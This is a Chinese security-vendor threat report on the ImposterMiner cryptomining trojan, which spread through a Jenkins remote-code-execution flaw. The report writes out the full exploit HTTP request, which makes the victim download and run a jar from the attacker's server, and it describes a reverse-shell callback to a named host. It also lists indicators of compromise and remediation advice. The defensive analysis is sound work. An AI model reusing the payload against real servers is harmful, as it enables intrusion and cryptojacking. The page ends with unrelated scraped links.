威胁快报|首爆,新披露Jenkins RCE漏洞成ImposterMiner挖矿木马新“跳板”
简介
阿里云安全于近日捕获到一起使用Jenkins RCE漏洞进行攻击的挖矿事件。除挖矿外,攻击者还曾植入具有C&C功能的tsunami木马,也预留了反弹shell的功能,给用户带来极大安全隐患。
由于攻击者直接复制了Jenkins系列漏洞发现者(Orange.tw)在博客上公布的poc,攻击payload含有"Orange.tw"字样,可能被误认为是漏洞发现者在进行测试,因此我们将木马命名为ImposterMiner(冒充者)。
本次事件具有两个特点:一是ImposterMiner木马开始爆发的时间距离Jenkins漏洞利用方法公开的时间极短,仅相隔2天;二是仅靠web漏洞直接入侵,不具有蠕虫传染性。这两点与不久前利用Nexus Repository Manager 3新漏洞进行攻击的watchbog挖矿木马事件较为相似。
本文将分析ImposterMiner挖矿木马的结构,并就如何清理、预防类似挖矿木马给出安全建议。
ImposterMiner挖矿木马分析

上图展示了ImposterMiner挖矿木马的感染流程。攻击者首先使用如下payload攻击jenkins服务
GET /securityRealm/user/admin/descriptorByName/org.jenkinsci.plugins.workflow.cps.CpsFlowDefinition/checkScriptCompile?value=@GrabConfig(disableChecksums=true)%0a@GrabResolver(name=%27orange.tw%27,%20root=%27http://45.55.211.79/%27)%0a@Grab(group=%27tw.orange%27,%20module=%27poc%27,%20version=%278%27)%0aimport%20Orange; HTTP/1.1
Host:【victim_host】:【jenkins_port】
该payload使用了CVE-2019-1003000这个jenkins RCE(远程命令执行)漏洞,导致受害主机请求http://45.55.211.79/tw/orange/poc/8/poc-8.jar文件,并在本地执行。这里不难发现,攻击者只是简单修改了漏洞发现者博客上公开的代码,因而直接以orange.tw(漏洞发现者的名字)和poc(Proof of Concept,能够证明漏洞存在的代码,通常点到为止不造成实际损害)作为项目和模块名,乍看之下,非常容易将此次攻击误认为漏洞作者进行的无害的安全测试。
poc-8.jar的代码如下

其中请求的http://45.55.211.79/.cache/jenkins/n2.sh脚本,将会创建/tmp/.scr文件夹,并请求下载45.55.211.79/.cache/jenkins/s.tar.gz:

解压s.tar.gz得到如下左图所示文件夹,并运行右图中的go脚本,根据当前机器的架构,选择运行i686或x86_64。

i686和x86_64这两个程序都是xmrig改写而成的矿机,主要在nanopool.com矿池进行挖矿。它们还会将自身写入crontab文件,每分钟执行,进行持久化,此处不再赘述。

此外,45.55.211.79服务器上存有多种历史上曾经使用,或尚未启用的payload。

例如3月7日,阿里云安全曾捕获到攻击者使用图中文件夹poc/5/poc-5.jar中的payload,会导致被入侵主机下载解压并运行http://45.55.211.79/.cache/jenkins/jks.tar.gz。该压缩包中包括tsunami木马变种,能够通过IRC接收下发指令并执行各种攻击,如下图所示。

又例如http://45.55.211.79/.cache/jenkins/jen.pl会使被入侵主机反弹shell到190.121.18.164:1090

以上这些恶意文件的最后修改日期说明ImposterMiner的作者依然在频繁进行更新,同时还说明作者并不满足于在受害者主机上安静挖矿,而是时刻准备着将受害主机用作ddos肉鸡,或使用shell对主机进行任意操纵。
影响范围
根据阿里云安全监控到的入侵趋势(如下图),ImposterMiner挖矿木马从漏洞公布后仅两天(2月21日)就开始利用其进行攻击和挖矿,给用户留下的修复时间窗口非常小。
攻击数量于3月3日左右达到最高峰,并且至今仍保持着较高的水平。

攻击趋势示意攻击趋势示意
ImposterMiner恶意挖矿木马当前使用的钱包地址为:42X5Nwfs6kPcK5xZaV1mxnLpSqYst9d46Dx63tdtmHFZWdWPryNt5ZhZXFXLYm2yZLZt7xXC5zerGbqQi2X1MsTzA9whw2X
从矿池数据看出,该地址HashRate波动较大,最高时达到236KH/s,平均值在150KH/s左右,可能已有1~2万台服务器被入侵挖矿。该钱包地址累计收益为169门罗币左右,约合9120美元。

除了上述地址外,攻击者还使用过至少一个不同的钱包地址:4B6GzzkQBgqbMraFa2FMnk4jKzFvxcqGNApKn6AK91R6KFgiWDKzhgWS864egV4HuHetns7yfYP9NDq234yxfNKEJWR4ga5。
安全建议
Jenkins作为最受欢迎的持续集成(CI)工具,使用量很大。上一次Jenkins远程命令执行漏洞(CVE-2017-1000353)的曝光,导致了“史上最大规模挖矿事件之一”,攻击者收益逾300万美元。
因此,Jenkins漏洞可能造成影响的范围巨大。这也导致逐利的攻击者对Jenkins虎视眈眈,一有新的漏洞便迅速加以利用;这次RCE漏洞从公开到开始被黑产利用仅花了2天,就是很好的证明。
针对此次安全事件,阿里云安全给出以下预防和清理建议:
- 用户应及时升级包括Jenkins在内的各种软件,避免遭受类似此次ImposterMiner挖矿木马以Jenkins作为入口的攻击,导致生产系统的其他部分一并沦陷。怀疑已经受到感染的用户,可自查主机是否存在/tmp/.scr恶意目录,并根据自身情况考虑清空/tmp目录;使用ps命令查看是否存在名为"-bash"恶意进程;自查并清理crontab相关文件。
- 建议使用阿里云安全的下一代云防火墙产品,其阻断恶意外联、能够配置智能策略的功能,能够有效帮助防御入侵。哪怕攻击者在主机上的隐藏手段再高明,下载、挖矿、反弹shell这些操作,都需要进行恶意外联;云防火墙的拦截将彻底阻断攻击链。此外,用户还可以通过自定义策略,直接屏蔽恶意网站,达到阻断入侵的目的。
- 对于有更高定制化要求的用户,可以考虑使用阿里云安全管家服务。购买服务后将有经验丰富的安全专家提供咨询服务,定制适合您的方案,帮助加固系统,预防入侵。入侵事件发生后,也可介入直接协助入侵后的清理、事件溯源等,适合有较高安全需求的用户,或未雇佣安全工程师,但希望保障系统安全的企业。
IOC
钱包地址:
4B6GzzkQBgqbMraFa2FMnk4jKzFvxcqGNApKn6AK91R6KFgiWDKzhgWS864egV4HuHetns7yfYP9NDq234yxfNKEJWR4ga5
42X5Nwfs6kPcK5xZaV1mxnLpSqYst9d46Dx63tdtmHFZWdWPryNt5ZhZXFXLYm2yZLZt7xXC5zerGbqQi2X1MsTzA9whw2X
矿池地址:
https://www.supportxmr.com
https://xmr.nanopool.org
恶意程序:

恶意url:
http://45.55.211.79/.cache/jenkins/
http://45.55.211.79/tw/orange/poc/
恶意主机:
190.121.18.164
Reference
http://blog.orange.tw/2019/02/abusing-meta-programming-for-unauthenticated-rce.html
https://research.checkpoint.com/jenkins-miner-one-biggest-mining-operations-ever-discovered/
本文作者:云安全专家
本文为云栖社区原创内容,未经允许不得转载。
威胁快报|首爆,新披露Jenkins RCE漏洞成ImposterMiner挖矿木马新“跳板”的更多相关文章
- 威胁快报|首爆新型ibus蠕虫,利用热门漏洞疯狂挖矿牟利
一.背景 近日阿里云安全团队发现了一起利用多个流行漏洞传播的蠕虫事件.黑客首先利用ThinkPHP远程命令执行等多个热门漏洞控制大量主机,并将其中一台“肉鸡”作为蠕虫脚本的下载源.其余受控主机下载并运 ...
- 威胁快报|Nexus Repository Manager 3新漏洞已被用于挖矿木马传播,建议用户尽快修复
背景 近日,阿里云安全监测到watchbog挖矿木马使用新曝光的Nexus Repository Manager 3远程代码执行漏洞(CVE-2019-7238)进行攻击并挖矿的事件. 值得注意的是, ...
- ThinkPHP-5.0.23新的RCE漏洞测试和POC
TP5新RCE漏洞 昨天又是周五,讨厌周五曝漏洞,还得又得加班,算了,还是先验证一波.新的TP5RCE,据说发现者因为上次的RCE,于是又审计了代码,结果发现的.TP5也成了万人轮啊. 测试 环境搭建 ...
- 新安装jenkins要记录的点。
突然很早之前部署的jenkins 由于版本低存在漏洞,被人搞了,在docker中新安装jenkins出现了各种问题,避免跳坑. 不能正确安装插件, Jenkins -> Plugin Manag ...
- 威胁快报|Bulehero挖矿蠕虫升级,PhpStudy后门漏洞加入武器库
概述 近日,阿里云安全团队监控到Bulehero挖矿蠕虫进行了版本升级,蠕虫升级后开始利用最新出现的PHPStudy后门漏洞作为新的攻击方式对Windows主机进行攻击,攻击成功后会下载门罗币挖矿程序 ...
- 威胁快报|挖矿团伙8220进化,rootkit挖矿趋势兴起
近日,阿里云安全团队发现8220挖矿团伙为了更持久的驻留主机以获得最大收益,开始使用rootkit技术来进行自我隐藏.这类隐藏技术的使用在watchdogs等挖矿蠕虫使用后开始出现逐渐扩散和进化的趋势 ...
- 威胁预警|首现新型RDPMiner挖矿蠕虫 受害主机易被添加恶意账户
近日,阿里云安全发现一种新型挖矿蠕虫RDPMiner,通过爆破Windows Server 3389端口RDP服务的方式进行挖矿木马传播,致使用户CPU占用率暴涨,机器卡顿,更被创建名为Default ...
- 太恐怖了!黑客正在GPON路由器中利用新的零日漏洞
即使在意识到针对GPONWi-Fi路由器的各种主动网络攻击之后,如果您还没有将其从互联网上带走,那么请小心,因为一个新的僵尸网络已加入GPON组织,该组织正在利用未公开的零日漏洞(零时差攻击). 来自 ...
- Apache Solr Velocity模板注入RCE漏洞复现
Apache Solr Velocity模板注入RCE漏洞复现 一.Apache Solr介绍 Solr是一个独立的企业级搜索应用服务器,它对外提供类似于web-service的API接口,用户可以通 ...
随机推荐
- ORACLE忘记sys密码
1.win+R打开dos窗口cmd 2.输入 sqlplus/nolog出现 3.输入 conn / as sysdba 出现 4.修改密码 alter user 用户 identified by 新 ...
- 跟我一起做一个vue的小项目(APPvue2.5完结篇)
先放一下这个完结项目的整体效果 下面跟我我一起进行下面项目的进行吧~~~ 接下来我们进行的是实现header的渐隐渐显效果,并且点击返回要回到首页 我们先看效果 在处理详情页向下移动过程中,heade ...
- 在Ubuntu Server 14.04上源码安装Odoo 9.0
1. 更新Ubuntu服务器软件源 sudo apt-get update #更新软件源 sudo apt-get dist-upgrade #更新软件包,自动查找依赖关系 sudo shutdown ...
- wsgi Python的WEB框架
Bottle是一个快速.简洁.轻量级的基于WSIG的微型Web框架,此框架只由一个 .py 文件,除了Python的标准库外,其不依赖任何其他模块. pip install bottle easy_i ...
- loj6402 校门外的树(dp,多项式求逆)
https://loj.ac/problem/6402 庆祝一下,,,第一个我自己做出来的,,,多项式的题(没办法,我太弱 虽然用了2个小时才想出来,但这毕竟是0的突破…… 首先声明,虽然我写的题解很 ...
- 移动端页面输入法挡住input输入框的解决方法
1,宽高用了百分比或者vw/vh布局的,input输入框的最外层父容器的可用JS动态设置为当前窗口的宽高(防止输入法的弹出令页面变形) 2,最外层父容器用了fixed定位的,不要用top:0;要用bo ...
- JavaScript的原型链
首先介绍下原型~原型的作用:把方法放到原型中,就可以让同类型的对象共享 . 当我创建一个构造函数.构造函数里有原型.通过:构造函数名.prototype获取到当前构造函数的原型. function S ...
- 学习Web前端开发时有哪些技术点
现在学前端的人是越来越多,学习质量也是参差不齐.过来人的身份告诉你,如果你还没有下定决心花时间去学习Web前端,那也可以先找些视频学习下,Web前端开发有哪些常见技术点!接下来,就看看Web前端开发有 ...
- 这些Excel学会了,你做账的效率将大大提高
这些Excel学会了,你做账的效率将大大提高 这些功能学会了,工作效率将大大提高. 1.excel的快速访问工具栏: 我的快速访问工具栏由左到右主要是"保存"."新建&q ...
- [jnhs]未完待续HttpServletRequest示例
uri: /kaihu/showip.html method: GET QueryString: null Parameters: Headers: Name: host Value: localho ...